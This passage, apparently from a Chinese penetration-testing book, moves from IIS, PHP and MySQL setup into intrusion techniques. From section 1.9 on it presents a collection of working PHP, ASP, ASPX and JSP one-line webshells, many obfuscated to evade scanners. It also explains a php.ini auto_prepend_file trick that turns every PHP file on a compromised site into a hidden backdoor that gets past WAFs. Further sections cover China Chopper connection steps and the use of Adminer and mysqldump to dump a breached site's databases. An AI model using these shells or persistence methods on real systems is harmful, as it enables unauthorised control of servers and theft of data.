应根据实际情况加载所需模块,在本配置环境中,需要加载MySQL模块、GD模块、mcrypt模块。如图1-90所示是修改后的情况,我们做的工作仅仅是把“;extension=php_openssl.dll”语句中的分号去掉。在这里,需要加载什么模块,就去掉对应的引号。
图1-90 加载需要使用的模块
说明
(1)“.php”可以和任意数据库连接,并能够很好地无缝工作,最经典的是MySQL,还有MSSQL、Oracle等。如果操作环境不是MySQL,就必须修改对应的模块。例如,MSSQL对应的模块是php_mssql. dll,Oracle对应的模块php_oci8.dll。
(2)加载GD模块的作用是对图形提供支持,如Discuz!的添加水印功能。
(3)mysql是支持MySQL数据库时必须加载的模块。
(4)mcrypt模块是phpMyAdmin需要的模块。如果觉得手工管理MySQL和下载软件都比较麻烦的话,可以下载phpMyAdmin,它是一个非常强大的MySQL管理工具。
1.8.4 MySQL的基本准备工作
01 运行MySQL安装程序
在这里我们使用的是MySQL 6.0.8,因为基本安装等大部分人都可以独立完成,所以略过不讲,这里重点讲解如何配置MySQL数据库服务器。如图1-91所示是配置MySQL数据库服务器的欢迎界面,直接单击“下一步”按钮。
图1-91 开始安装MySQL数据库服务器
02 选择安装类型
如图1-92所示,这是关键的一步——选择安装的类型。“Detailed Configuration”是手动精确配置,让我们可以很好地定制服务器,并按照自己的需要配置服务器,适合了解MySQL基本原理的用户使用。“Standard Configuration”是标准配置,将使用MySQL默认推荐的选项完成安装。在这里,因为使用标准的MySQL功能即可,所以单击选中“Standard Configuration”单选按钮。
图1-92 选择安装类型
03 配置实例
在实例配置向导中也有2个选项。比较容易理解的是“Install As Windows Service”,选择它就是安装成Windows的系统服务,即开机时自动启动服务。“Include Bin Directory in Windows PATH”就是把MySQL的bin目录安装到环境目录下,好处是任意打开的CMD.exe文件都可以执行MySQL的程序。本例勾选以上两个复选框,并将“MySQL”作为服务名称,如图1-93所示。
图1-93 配置实例
04 设置MySQL的密码
单击“下一步”按钮,如图1-94所示,这里主要是一些基本的安全设置,如root的密码。密码的设置原则是尽量复杂,且一定不要使用root用户来安装一些PHP程序,如Discuz!等。我们的解决方案是另外建立一个专用的低权限的用户。
图1-94 设置MySQL密码和安全选项
还有一个需要特别注意的地方:一定不要勾选“Enable root access from remote machines”复选框,因为勾选此项,root用户就可以进行远程连接。如果设置的密码比较简单,并且开启了远程访问功能,那么一旦被黑客渗透,黑客获得的权限就大部分是系统权限了,这是非常危险的。
05 安装MySQL
如图1-95所示,开始安装MySQL。如果所有的项目都被勾选,表示安装成功,安装成功后会给出一些提示。如果安装不成功,请重复上面的步骤重新安装。
图1-95 安装MySQL成功
1.8.5 配置IIS支持PHP
目前,我们已经完成了IIS、PHP、MySQL的基本准备工作,下面我们就让IIS加载PHP。
1.新建网站
由于配置的是Windows下的网站,因此需要建立一个新的站点。依次单击“开始”→“所有程序”→“管理工具”→“Internet信息服务(IIS)管理器”选项,如果一切正常,会弹出如图1-96所示的窗口。
图1-96 打开IIS信息服务器管理器
右键单击“网站”目录,在弹出的快捷菜单中选择“新建”→“网站”选项,如图1-97所示,将弹出“网站创建向导”对话框,单击“下一步”按钮。
图1-97 新建网站
2.设置网站名称
如图1-98所示,在“描述”文本框中输入网站的名字,主要用于标识和区分。
图1-98 设置网站名称
3.设置主机头
如图1-99所示,这里需要重点讲解的就是此网站的主机头。其实,这个选项的作用是配置虚拟主机,也就是在一个服务器上安装多个网站,在实际操作中填入对应的网址就即可,本例中就不填写了。网站的IP地址是可浏览的IP地址,本例设置为“(全部未分配)”,表示可以访问本机所有网卡上的所有的IP地址。端口的默认设置为WWW的80端口,这里不必修改。
图1-99 设置主机头
4.设置网站主目录
如图1-100所示,在选择网站的主目录时,只要选择对应我们自己的网站目录就可以了,然后勾选“允许匿名访问”复选框。如果我们的网站是基于Windows集成认证的,可以不勾选此项,但对大部分的网站进行配置时必须勾选此项。
图1-100 设置主目录路径
5.设置网站访问权限
单击“下一步”按钮,将打开如图1-101所示的网站访问权限设置界面。在这里需要注意的是,必须勾选前2个复选框,即“读取”和“运行脚本”。单击“下一步”按钮完成网站的配置。
图1-101 设置网站访问权限
说明
对以上设置,在使用新建网站向导设置完毕后,还可以在IIS管理器中进行修改。
6.使IIS支持PHP
配置网站后,就可以开始配置IIS对PHP的支持。在配置IIS前,最好停止网站的服务。
01 配置Test网站
如图1-102所示,右键单击刚刚新建的“test”这个网站,打开该网站的属性设置对话框,然后切换到“主目录”标签页。
图1-102 配置网站
02 配置PHP扩展
单击“配置”按钮,在弹出的“应用程序配置”对话框中单击“添加”按钮,加入PHP的ISAPI支持,选择可执行文件“D:\PHP\php5isapi.dll”(“PHP”目录下的php5isapi.dll),扩展名为“.php”(一定要注意注意“php”前面的“.”),限制动作为“GET, POST”,如图1-103所示。单击“确定”按钮,并在“应用程序扩展”对话框中查看“.php”扩展是否加载成功。若成功,则单击“确定”按钮关闭配置窗口,返回站点属性主窗口。
图1-103 配置PHP扩展
03 设置默认文档
如图1-104所示,切换到“文档”标签页,勾选“默认内容文档”复选框,根据网站程序首页名称添加对应的页面名称,一般为index.php、default.php,如有静态页面,可能为index.htm、index.html。把这些页面添加到列表中,单击“确定”按钮,关闭站点属性配置窗口,返回IIS管理器主界面。
图1-104 设置默认文档
04 添加PHP的扩展
如图1-105所示,添加PHP的扩展。在这里,一定要勾选“设置扩展状态为允许”复选框,否则将无法为PHP提供支持。
图1-105 添加PHP的扩展
1.8.6 测试PHP环境
因为在开始配置前我们关闭了“test”站点,所以现在要先将它启动。
进入“web”目录,新建一个index.php文件,内容是“<?php phpinfo(); ?>”,然后打开站点,如图1-106所示,表示我们成功完成了IIS+MySQL+PHP的配置。
图1-106 测试PHP环境
注意
phpinfo()函数可用于显示配置情况,配置正确与否也可以通过这个函数显示。
1.9 一种新型PHP网站后门隐藏技术研究
后门隐藏技术是黑客入侵后为了避免被发现而经常采用的一种抹去和隐藏访问记录的技术。下面我们介绍一种新型的PHP网站后门隐藏技术。
1.9.1 概述
“梦之光芒”提出的通过构建程序逻辑后门绕过后门特征检测和数据传递溯源检测的方法,对绝大部分网站维护人员而言非常有用,但对通过比较程序文件的MD5值检测网站是否存在后门的手段就无能为力了。在网络攻防对抗中,陆续出现了安全狗、安全宝等针对网站入侵检测的软件和商业安全服务提供商,他们提供了专业的Web应用防护系统(Web Application Firewall,WAF),能够拦截常见的网站后门,并对攻击进行预警和报警。
在这种情况下,出现了针对PHP WebShell的变种,如无ASCII码和数字的WebShell、隐藏eval等关键字的WebShell、编码加隐藏关键字的WebShell。Bghost针对上述情况提出了执行数据隐藏和数据传递隐藏WebShell查杀技术。执行数据隐藏查杀的核心是发现某个函数曾执行过,但在代码中却找不到此函数,并认为正常程序执行后不会在代码中隐藏函数;而数据传递隐藏则通过把日志文件中记录的文件名和行数的代码上报到后端,与后端SVN中的代码进行对比,如果不一致,则认为是一个WebShell。该方法虽然可行,但考虑到性能和性价比,部署起来较为困难。
随着网络安全技术在民间的普及,被攻击方发现入侵行为后安全意识的提高,以及防护手段的加强,特别是聘请专业安全公司进行安全评估和加固、部署安全狗等后门监控软件,都大大提高了后门存活的难度,所以,如何在获取权限的网站深埋后门具有一定的实际意义。本节将对常见的PHP WebShell后门技术进行分析和基础研究,通过实验研究出一种新型后门留取方法——不修改网站任何代码,通过修改原有Windows PHP环境配置,仅需几步即可长期隐藏和使用网站后门,而后门可以是网站任意的正常PHP文件,能够绕过Web防火墙。
1.9.2 WebShell
下面简单介绍一下WebShell的概念和特点。
1.WebShell的概念
WebShell常常被称为匿名用户(入侵者)通过网站端口对网站服务器进行某种程度的操作的权限。由于WebShell大多以动态脚本的形式出现,因此也常被称为网站后门工具。
WebShell是Web入侵的脚本攻击工具。WebShell的常见类型有ASP.NET、JSP、PHP、ASP、Perl、CGI、CFM(以下统称“WebShell后门文件”)。攻击者在入侵成功后,会将WebShell后门文件放置在网站服务器的Web目录中,与正常的网页文件混在一起。然后,攻击者就可以以Web访问的方式,通过WebShell木马后门控制网站服务器,进行包括上传及下载文件、操作数据库、执行任意程序命令等操作了。
2.WebShell的特点
WebShell后门文件具有隐蔽性强、功能强、危害大等特点。WebShell与正常的网页程序一样,通过HTTP或者HTTPS协议访问。由于使用与被控制服务器相同的Web服务端口传输,因此不会被防火墙拦截。通过WebShell访问不会在系统日志中留下记录,只会在网站的Web日志中留下一些数据提交记录。高级的WebShell程序仅会在Web日志中出现POST或者GET操作,不会留有具体的后门操作信息,因此较难被发现,隐蔽性强。
目前,WebShell后门程序功能强大,除了文件操作和数据库操作外,还可以提权,配合特定程序穿透内网,危害性较大。在通常情况下,通过WebShell可以实现读取数据库、导出数据库文件、查看服务器具有访问权限的所有文件等功能。在具有MySQL root账号、MSSQL sa账号等情况下,可以直接提升,获得操作系统权限,通过执行特定程序实现如中转、木马植入等功能。
1.9.3 常见的PHP WebShell后门隐藏技术
本节介绍一些常见的PHP WebShell后门隐藏技术。
1.eval函数构造的后门
PHP提供了eval函数。该函数的用法为“eval(string $code_str)”,把字符串“code_str”作为PHP代码执行。同时需要注意,eval函数中的变量会被保留在之后的主脚本中,本函式可将字符串中的变量值代入,通常用于处理数据库的数据。除了上述用法外,eval函数还可以直接接受用户提交的数据并且执行,因此就出现了PHP WebShell中最常见的后门。其常见的代码如下。
<? PHP eval($_POST[cmd]);?> //不容错代码 3.1.1.PHP
<?PHP @eval($_POST['cmd']);?> //容错代码 3.1.2.PHP
<?PHP system($_REQUEST['cmd']);?> //3.1.3.PHP
实际使用过程中最常用的是“<?PHP @eval($_POST['cmd']);?>”,使用其他代码容易报错,代码如下。
Warning: system() has been disabled for security reasons
inD:\ComsenzEXP\wwwroot\3.1.3.php on line 1
2.利用404等常见页面隐藏后门
使用“中国菜刀”一句话后门连接工具,连接密码“error”连接,在404等常见页面中插入以下代码。
<?PHP
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>
通过访问地址http://127.0.0.1/404.PHP?error=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97). chr(47).chr(97).chr(46).chr(112).chr(104) .chr(112) .chr(39) .chr(44) .chr(39) .chr(119) .chr(39) .chr(41) . chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108). chr(40) .chr(36) .chr(95).chr(80) .chr(79).chr(83) .chr(84).chr(91).chr(99) .chr(109) .chr(100) .chr(93 ).chr (41).chr(63).chr(62).chr(39).chr(41).chr(59)),还可以在网站当前目录下生成一句话后门密码为“cmd”的a.php文件。以上代码的解码代码如下。
fputs(fopen(data/a.PHP,w),<?PHPeval($_POST[cmd])?>);
3.无特征隐藏一句话
通过编码转换“str_rot13(‘riny’)”,即编码后的eval,在整个代码中看不到eval等特征。通过“中国菜刀”一句话连接工具连接,连接密码为b4dboy,代码如下。
<?PHP($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e',
'@'.str_rot13('riny').'($b4dboy)', 'add');?>
4.利用shell_exec函数的后门
利用PHP中shell_exec等函数生成的后门,php.ini文件中的disable_functions函数不能包括shell_exec,否则会执行错误,代码如下。
<?PHP
//3.4.PHP
$test = $_GET['r'];
echo `$test`;
?>
可以执行Windows常用命令,还可以通过echo命令生成文件,使用方法如下。
http://127.0.0.1/3.4.PHP?r=dir //列出目录
http://127.0.0.1/3.4.PHP?r=echo hack >D:\web\hack.txt
还可以延伸出非数字执行后门的方法,代码如下。
<?$_="";$_[+""]='';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>
<?=${'_'.$_}['_'](${'_'.$_}['__']);?>
利用方法为“3.4.2.PHP?_=shell_exec&__=<any shell command goes here>”,该后门在Linux下执行效果较好。
5.二级参数隐蔽PHP后门
如果后门程序中没有eval函数,可以通过两个参数完成后门的操作:第一个参数用于赋值assert,第二个参数为连接密码。后门程序代码如下。
<?php @$_GET[a](@$_GET[b]);?>或者<?PHP ($_=@$_GET[2]).@$_($_POST[1])?>
http://127.0.0.1/3.5.1.PHP?a=assert 密码为“b”
http://127.0.0.1/3.5.2.PHP?2=assert 密码为“1”
还可以对第二个参数执行某些特定函数,甚至可以在网站根目录下写入一句话后门文件c.php。执行PHPinfo()函数,则可以赋值“b=PHPinfo()”。
6.非数字隐蔽PHP后门
非数字隐蔽PHP后门最早由Spanner提出,借鉴了“Tiny PHP Shell”的思路,通过八进制转义执行非字母数字代码,从而能够较好地逃过安全管理人员的脚本安全扫描检查,代码如下。
<?PHP
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?PHP ${'_'.$_}['_'](${'_'.$_}['__']);?>
在“中国菜刀”一句话后门连接工具中写人“http://127.0.0.1/3.6.PHP?_=assert&__=eval($_POST['pass'])密码是pass”。
7.包含文件后门
通过include($uid)函数执行UID后的任何文件。它可以将任何文件直接编译为PHP格式运行,具体用法如下。
http://127.0.0.1/3.6.PHP?uid=/image.gif //gif 插一句话
8.利用PHP上传程序留后门
攻击者通过分析网站程序,结合被攻击网站的特点,在获取网站权限后,保留一个独特的PHP上传程序。每次需要网页后门时,就通过该程序上传网页后门程序;处理完毕,删除PHP WebShell,仅保留上传程序。
9.PHP后门生成工具Weevely
Weevely是一款针对PHP的WebShell的自由软件,在BT上默认安装,可用于模拟一个类似Telnet的连接Shell. Weevely通常用于Web程序的漏洞利用,以隐藏后门或者使用类似Telnet的方式代替Web页面式的管理。Weevely生成的服务器端PHP代码是经过Base64编码的,所以可以骗过主流的杀毒软件和IDS。上传服务器端代码后,通常可以通过Weevely直接运行。
1.9.4 一种Windows下PHP后门隐藏技术研究
研究发现,在Windows下的PHP解释环境中有两个函数能够自动加载文件,分别是auto_prepend_file和auto_append_file,在php.ini中可以修改成任意文件,可以是PHP文件,也可以是DLL文件。
将后门文件的内容写入这两个文件,然后修改include_path为后门文件所在路径,网站所在目录下的所有PHP文件均可以作为PHP后门,具体步骤如下。
01 修改auto_prepend_file和auto_append_file
去掉auto_prepend_file和auto_append_file这两个配置行前面的“;”,使配置文件生效,然后添加后门文件名称,示例如下。
auto_prepend_file =PHP_tar.dll
auto_append_file =PHP_bz.dll
02 修改include_path配置
在php.ini中查找include_path的位置,去掉注释,选择Windows下的include_path,填写后门所在的详细路径,代码如下。
include_path = "D:\ComsenzEXP\PHP5\ext;."
03 创建后门文件
在D: \ComsenzEXP\PHP5\ext文件夹中新建两个文件php_tar.dll和php_bz.dll,文件的内容为“<?eVal($_POST [a]);?>”。使用Discuz!模板时,需要将php.ini中output_buffering的默认值“off”修改为“on”,否则会有报错提示。通过“中国菜刀”一句话后门工具访问任何PHP文件,即可获得WebShell权限。
1.9.5 小结
本节对目前常见的PHP后门隐藏技术进行了分析和研究,简单介绍了这些后门技术的缺点和优点,在此基础上,通过挖掘PHP配置文件,成功找到一种高级后门隐藏技术,通过修改配置文件隐藏后门(由于后门文件不在网站目录下,因此能绕过安全狗等安全软件的防护)。该技术目前只能在Windows环境中实现,在Linux环境中还存在报错和与原程序文件冲突等问题。
1.10 一句话后门的利用及操作
一句话后门是Web渗透中使用最多的必备工具,目前流行的一句话后门分为ASP、ASP.NET、JSP和PHP共4种类型。一句话后门利用的实质就是通过执行SQL语句、添加或者更改字段内容等操作,在数据库表或者相应的字段中插入“<%execute request("pass")%>”、“<%eval request("pass")%>”、“<?php eval($_POST[pass])?>”、“<?php @eval($_POST[pass])?>”、“<%@ Page Language="Jscript"%>”、“<%eval(Request.Item["pass"],"unsafe");%>”等代码,然后通过“中国菜刀”、“lake一句话PHP后门客户端”等工具进行连接。我们只需要知道上述代码插入的具体文件及连接密码,即可进行一些WebShell操作,是基于B/S结构的架构。
下面介绍如何利用“中国菜刀”(http://www.maicaidao.com)进行一句话木马操作。
1.10.1 执行“中国菜刀”
“中国菜刀”的英文名为“chopper”,可以到其官方网站http://www.maicaidao.com下载,解压缩后直接运行chopper.exe即可。如图1-107所示,“中国菜刀”默认提供了http://www.maicaidao.com/server.asp、http://www.maicaidao.com/server.aspx、http://www.maicaidao.com/server.php共3种类型。
图1-107 执行“中国菜刀”
1.10.2 添加Shell
如图1-107所示,在“中国菜刀”的主界面单击右键,在弹出的快捷菜单中选择“添加”命令,即可添加Shell地址。如图1-108所示,在“地址”文本框中输入一句话木马Shell地址,在“地址”文本框后面的文本框中输入一句话木马的连接密码,在“配置”设置区中选择脚本类型(程序会自动识别脚本类型),最后单击“添加”按钮,即可添加一个Shell地址。
图1-108 添加Shell
1.10.3 连接一句话后门
回到“中国菜刀”主界面,双击刚才添加到Shell中的地址,即可连接一句话后门。如果后门执行成功,则会显示网站的目录结构和文件等信息,如图1-109所示。
图1-109 连接一句话后门
1.10.4 执行文件操作
通过“中国菜刀”可以方便地对文件进行操作,包括上传文件、下载文件、编辑、删除、复制、重命名、修改文件(夹)时间、新建和Access管理等。在“中国菜刀”中,还可以对数据库进行管理,通过配置数据库用户名和用户密码等参数即可对数据库进行操作,如图1-110所示。
图1-110 执行文件操作
1.10.5 一句话后门的收集与整理
笔者收集和整理了一些典型的一句话后门,具体如下。
1.PHP非一句话经典后门
PHP运行时,如果遇见字符“``”(键盘上“~”符号的下档键),会尝试执行“``”里的命令,并返回命令执行的结果(string类型)。其局限性在于特征码比较明显,原因在于字符“``”在PHP中很少用到,杀毒软件很容易以此为特征码扫描并警报,而且在“``”里不能执行PHP代码。
将以下代码保存为test.php文件。
<?php
echo `$_REQUEST[id]`;
?>
执行如下代码即可查看C盘文件,“id”后的参数可以直接执行命令。
test.php?id=dir c:/
2.加密的ASP一句话后门
将以下代码保存为ASP文件,或者将以下代码插入ASP文件,然后通过“黑狐专用一句话木马加强版”进行连接,其密码为“#”,执行效果如图1-111所示。
图1-111 使用加密的一句话木马
<script language=vbs runat=server>
Execute(HextoStr("65786563757465287265717565737428636872283335292929"))
Function HextoStr(data)
HextoStr="EXECUTE """""
C="&CHR(&H"
N=")"
Do While Len(data)>1
If IsNumeric(Left(data,1)) Then
HextoStr=HextoStr&C&Left(data,2)&N
data=Mid(data,3)
Else
HextoStr=HextoStr&C&Left(data,4)&N
data=Mid(data,5)
End If
Loop
End Function
</script>
<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(String. fromCharCode (116,
114,121,123,101,118,97,108,40,82,101,113,117,101,115,116,46,102,111,114,109,40,3
9,35,39,41,43,39,39,41,125,99,97,116,99,104,40,101,41,123,125))</SCRIPt>
3.常见的ASP一句话后门收集
常见的ASP一句话木马如下。
<%%25Execute(request("a"))%%25>
<%Execute(request("a"))%>
%><%execute request("a")%><%
<script language=VBScript runat=server>execute request("a")</script>
<%25Execute(request("a"))%25>
%><%execute request("yy")%>
<%execute request(char(97))%>
<%eval request(char(97))%>
":execute request("value"):a="
<script language=VBScript runat=server>if request(chr(35))<>"""" then
ExecuteGlobal request(chr(35)) </script>
在数据库里插入的一句话木马如下。
┼攠數畣整爠煥敵瑳∨∣┩愾
┼癥污爠煥敵瑳∨≡┩> 密码为: a
utf-7的木马如下。
<%@ codepage=65000%>
<% response.Charset="936"%>
<%e+j-x+j-e+j-c+j-u+j-t+j-e+j-(+j-r+j-e+j-q+j-u+j-e+j-s+j-t+j-(+j-+ACI-#+ACI
)+j-)+j-%>
Script Encoder加密示例如下。
<%@ LANGUAGE = VBScript.Encode %>
<%#@~^PgAAAA==r6P. ;!+/D`14Dv&X#*@!@*ErPPD4+
P2Xn^ED+VVG4Cs,Dn;!n/D`^4M`&Xb*oBMAAA==^#~@%>
可以躲过雷客图的一句话木马示例如下。
<%
set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.ExecuteStatement("ev"&"al(request(""1""))")
%>
PHP一句话木马示例如下。
<? php eval($_POST[cmd]);?>
<?php eval($_POST[cmd]);?>
<?php system($_REQUEST['cmd']);?>
<?php eval($_POST[1]);?>
ASPX一句话木马示例如下。
<script language="C#" runat="server">
WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");
</script>
JSP一句话后门示例如下。
<%
if(request.getParameter("f")!=null)(new
java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))
).write(request.getParameter("t").getBytes());
%>
4.新型一句话后门
下面给出一个新型一句话后门。
<%
Set o = Server.CreateObject("ScriptControl")
o.language = "vbscript"
o.addcode(Request("cmd"))
%>
1.11 脱库利器Adminer
Adminer是一个类似于phpMyAdmin的MySQL管理客户端,整个程序只有一个PHP文件,易于使用和安装,其官方下载地址为http://www.adminer.org/en/。Adminer支持多种语言(已自带20余种翻译语言文件,用户可以按自己的需求选择相应的语言),支持PHP4.3、MySQL 4.1及以上版本,提供的功能如下。
• 创建、修改、删除索引/外键/视图/存储过程和函数。
• 查询、合计、排序数据。
• 新增、修改、删除记录。
• 支持所有数据类型,包括大字段。
• 能够批量执行SQL语句。
• 支持将数据、表结构、视图生成SQL或CSV。
• 能够外键关联打印数据库概要。
• 能够查看进程和关闭进程。
• 能够查看用户和权限并进行修改。
• 管理事件和表格分区(MySQL 5.1支持)。
由于Adminer只有一个文件,比phpMyAdmin灵活,操作简单,因此深受网站管理和黑客喜爱,下面就介绍其常用功能。
1.11.1 测试程序运行情况
图1-112 测试并登录
将adminer.php上传至目标服务器,可以更改默认文件名为其他名字,然后在正确的路径进行访问。如图1-112所示为Adminer的登录界面,在“语言”下拉列表中选择“简体中文”选项,也可以选择其他语言,然后在登录框中分别填写服务器、用户名、密码和数据库所对应的数据。
注意
(1)数据库信息在某些情况不需要填写,但在某些情况下必须填写。
(2)Adminer支持多个数据库,如SQLite3、MySQL、SQL Server、Oracle、SimpleDB、MongoDB。
(3)可以勾选“保持登录”复选框以记录用户名和密码。不过,选择这个选项后会在服务器上生成一个Token,即admin.key。
1.11.2 选择并查看数据库
登录成功后,会显示目前用户权限下的所有数据库,选择需要查看的数据库,如图1-113所示,选择“yoyocn”数据库进行查看。
图1-113 选择查看的数据库
勾选“discuz72”数据库后,单击该链接即可查看数据库中各个表的信息,包括数据库中的表和视图、数据库引擎、数据长度、数据行数等,如图1-114所示。
图1-114 查看表和视图
1.11.3 导出数据库
在Adminer程序界面的左下方单击“导出”超链接,打开导出数据库选项设置界面,如图1-115所示。可以输出为GZIP压缩文件,也可以直接保存为SQL文件,或者直接打开文件;文件格式可以是SQL、CSV、TSV等;表可以选择“Drop+Create”或“Create”;数据中可以选择插入(Insert)、插入更新等。最后,单击“导出”按钮即可导出选择的数据库。
图1-115 下载数据库
1.11.4 导入数据库
使用Adminer导入数据库比较简单。
如图1-116所示,单击“导入”链接,可以选择上传本地文件到服务器,也可以直接从服务器上进行导入。在选择导入的文件时,一定要先做备份,或者新建一个数据库进行测试,否则会覆盖原有数据库中数据。
图1-116 导入数据库数据
1.11.5 执行SQL命令
在Adminer中单击“SQL命令”链接,如图1-117所示,可以直接执行SQL命令。
图1-117 执行SQL命令
此外,Adminer提供了对表中的数据直接进行删除、修改和添加等操作,在此就不赘述了。
在入侵过程中,主要通过Adminer程序导出数据库,导出数据质量较高,在将数据导入数据库时很少出现错误;而在使用PhpSpy等程序导出时,如果编码选择不正确,在将数据导入数据库时显示乱码。
1.12 MySQL数据库导入与导出攻略
在实际渗透过程中,很多网站系统都会采用MySQL+PHP+Apache架构,其中MySQL数据库是基础。在成功渗透目标对象后,对数据库进行查看、导出数据库到本地、将数据库导入本地数据库进行还原、在本地架设模拟环境测试等,都离不开数据库的操作。数据库的导入和导出是最常见和最基础的操作,在实际操作过程中有很多技巧和注意事项。本节将详细介绍MySQL数据库在导入和导出方面的相关内容。
1.12.1 Linux命令行下MySQL数据库的导入与导出
本节将详细介绍Linux命令行下MySQL数据库的导入与导出。
1.MySQL数据库的导出命令参数
Linux主要通过MySQL和mysqldump命令执行数据库导出操作。使用这两个命令时都需要附带参数。
(1)MySQL连接参数
• “-u$USER”表示用户名。
• “-p$PASSWD”表示密码。
• “-h127.0.0.1”表示如果连接远程服务器,应使用对应的主机名或者IP地址进行替换。
• “-P3306”表示端口。
• “--default-character-set=utf8”表示指定字符集。
• “--skip-column-names”表示不显示数据列的名字。
• “-B”表示以批处理的方式运行MySQL程序,查询结果将显示为制表符间隔格式。
• “-e”表示执行命令后退出。
(2)mysqldump参数
• “-A”表示全库备份。
• “--routines”表示备份存储过程和函数。
• “--default-character-set=utf8”用于设置字符集。
• “--lock-all-tables”表示全局一致性锁。
• “--add-drop-database”表示在每次执行建表语句前执行“DROP TABLE IF EXIST”语句。
• “--no-create-db”表示不输出“CREATE DATABASE”语句。
• “--no-create-info”表示不输出“CREATE TABLE”语句。
• “--databases”表示将后面的参数都解析为库名。
• “--tables”表示第一个参数为库名,后续参数为表名。
2.MySQL数据库的常见导出命令
• 导出全库,备份到本地目录,示例如下。
mysqldump -u$USER -p$PASSWD -h127.0.0.1 -P3306 --routines
--default-character-set=utf8 --lock-all-tables --add-drop-database -A > db.all.sql
• 导出指定库到本地目录(例如antian365库),示例如下。
mysqldump -u$USER -p$PASSWD -h127.0.0.1 -P3306 --routines
--default-character-set=utf8 --databases antian365 > antian365.sql
• 导出某个库的表到本地目录(例如antian365库的user表),示例如下。
mysqldump -u$USER -p$PASSWD -h127.0.0.1 -P3306 --routines
--default-character-set=utf8 --tables antian365 user> antian365.user.sql
• 导出指定库的表(仅数据)到本地目录(例如,MySQL库的user表,带过滤条件),示例如下。
mysqldump -u$USER -p$PASSWD -h127.0.0.1 -P3306 --routines
--default-character-set=utf8 --no-create-db --no-create-info --tables mysql user
--where="host='localhost'"> db.table.sql
• 导出某个库的所有表结构,示例如下。
mysqldump -u$USER -p$PASSWD -h127.0.0.1 -P3306 --routines
--default-character-set=utf8 --no-data --databases mysql > db.nodata.sql
• 导出某个查询SQL的数据为TXT文件,并将其存储到本地目录,各数据值之间用制表符分隔。例如,SQL为“'select user,host,password from mysql.user;'”,代码如下。
mysql -u$USER -p$PASSWD -h127.0.0.1 -P3306 --default-character-set=utf8
--skip-column-names -B -e 'select user,host,password from mysql.user;' >
mysql_user.txt
• 导出某个查询SQL的数据为txt文件,并将其存储到MySQL服务器上。登录MySQL,将默认的制表符换成逗号(为了适应CSV格式文件),MySQL要对指定的路径有写权限,最好用tmp目录,文件用完之后再删除,示例如下。
SELECT user,host,password FROM mysql.user INTO OUTFILE '/tmp/mysql_user.csv'
FIELDS TERMINATED BY ',';
3.加快MySQL数据库导出速度的技巧
从MySQL数据库中导出的SQL语句在导入时速度可能非常慢,在处理百万级数据时,仅导入操作或许就要花费数小时。
在导出时合理使用“-e”等参数,可以大大提高导入的速度。
• “--max_allowed_packet=XXX”表示客户端/服务器之间通信缓存区的最大值。
• “--net_buffer_length=XXX”表示TCP/IP和套接字通信缓冲区的大小,创建一个长度为net_buffer_length的行。
注意
max_allowed_packet和net_buffer_length不能比目标数据库的设定值大,否则可能出错。
首先,确定目标数据库的参数值,示例如下。
mysql> show variables like 'max_allowed_packet';
mysql> show variables like 'net_buffer_length';
然后,根据参数值编写mysqldump命令,示例如下。
# mysqldump -uroot -pantian365.com antian365 -e --max_allowed_packet=
8388608 --net_buffer_length=8192 > antian365.sql
现在,数据库的导入速度就变得很快了。需要注意导入和导出端的max_allowed_packet和net_ buffer_length参数的值,要将它们设置得大一点。最简单的方法是直接复制数据库目录,不过要先停止MySQL服务。
4.Linux下MySQL数据库导入的常见命令
导入全库数据到MySQL时,因为其中包含MySQL库的权限表,所以导入完成后需要执行“FLUSH PRIVILEGES;”命令。
• 使用MySQL命令导入数据库,示例如下。
mysql -u$USER -p$PASSWD -h127.0.0.1 -P3306 --default-character-set=utf8 <
db.all.sql
• 使用source命令导入,示例如下。需要先登录MySQL,然后执行source命令(文件名应为绝对路径)。
mysql> source /tmp/db.all.sql;
• 使用MySQL恢复某个库的数据(例如antian365库的user表),示例如下。
mysql -u$USER -p$PASSWD -h127.0.0.1 -P3306 --default-character-set=utf8
antian365< antian365. user.sql
• 使用source命令恢复某个库的数据(例如antian365库的user表),示例如下。
mysql -u$USER -p$PASSWD -h127.0.0.1 -P3306 --default-character-set=utf8
mysql> use antian365;
mysql> source /tmp/ antian365. user.sql;
• 恢复MySQL服务器上的TXT文件,示例如下。
mysql -u$USER -p$PASSWD -h127.0.0.1 -P3306 --default-character-set=utf8
mysql> use mysql;
mysql> LOAD DATA INFILE '/tmp/mysql_user.txt' INTO TABLE user ;
• 恢复MySQL服务器上的CSV文件(需要FILE权限,数据之间用逗号分隔),示例如下。
mysql -u$USER -p$PASSWD -h127.0.0.1 -P3306 --default-character-set=utf8
mysql> use mysql;
mysql> LOAD DATA INFILE '/tmp/mysql_user.csv' INTO TABLE user FIELDS TERMINATED
BY ',';
• 恢复本地的TXT或CSV文件到MySQL,示例如下。
mysql -u$USER -p$PASSWD -h127.0.0.1 -P3306 --default-character-set=utf8
mysql> use mysql;
mysql> LOAD DATA LOCAL INFILE '/tmp/mysql_user.csv' INTO TABLE user;
//TXT 的情况
mysql> LOAD DATA LOCAL INFILE '/tmp/mysql_user.csv' INTO TABLE user FIELDS
TERMINATED BY ','; //CSV 的情况
1.12.2 Windows下MySQL数据库的导入与导出
Windows下MySQL数据库的导入和导出相对简单,本节仅作基本介绍,后续还会介绍如何使用一些客户端软件实现导入和导出。
1.使用mysqldump命令导入和导出
mysqldump命令的常用格式为“mysqldump-u数据库用户名-p数据库名称>导出的数据库文件”,示例如下。
mysqldump -u root -p123456 db>d:\backupdatabase20140916.sql
//把数据库 db 导出到 backupdatabase20140916.sql 文件中
导入数据库的命令行为“mysqldump-u数据库用户名-p数据库名称<导入的数据库文件”,示例如下。
mysqldump -u root -p db < d:\backupdatabase20140916.sql
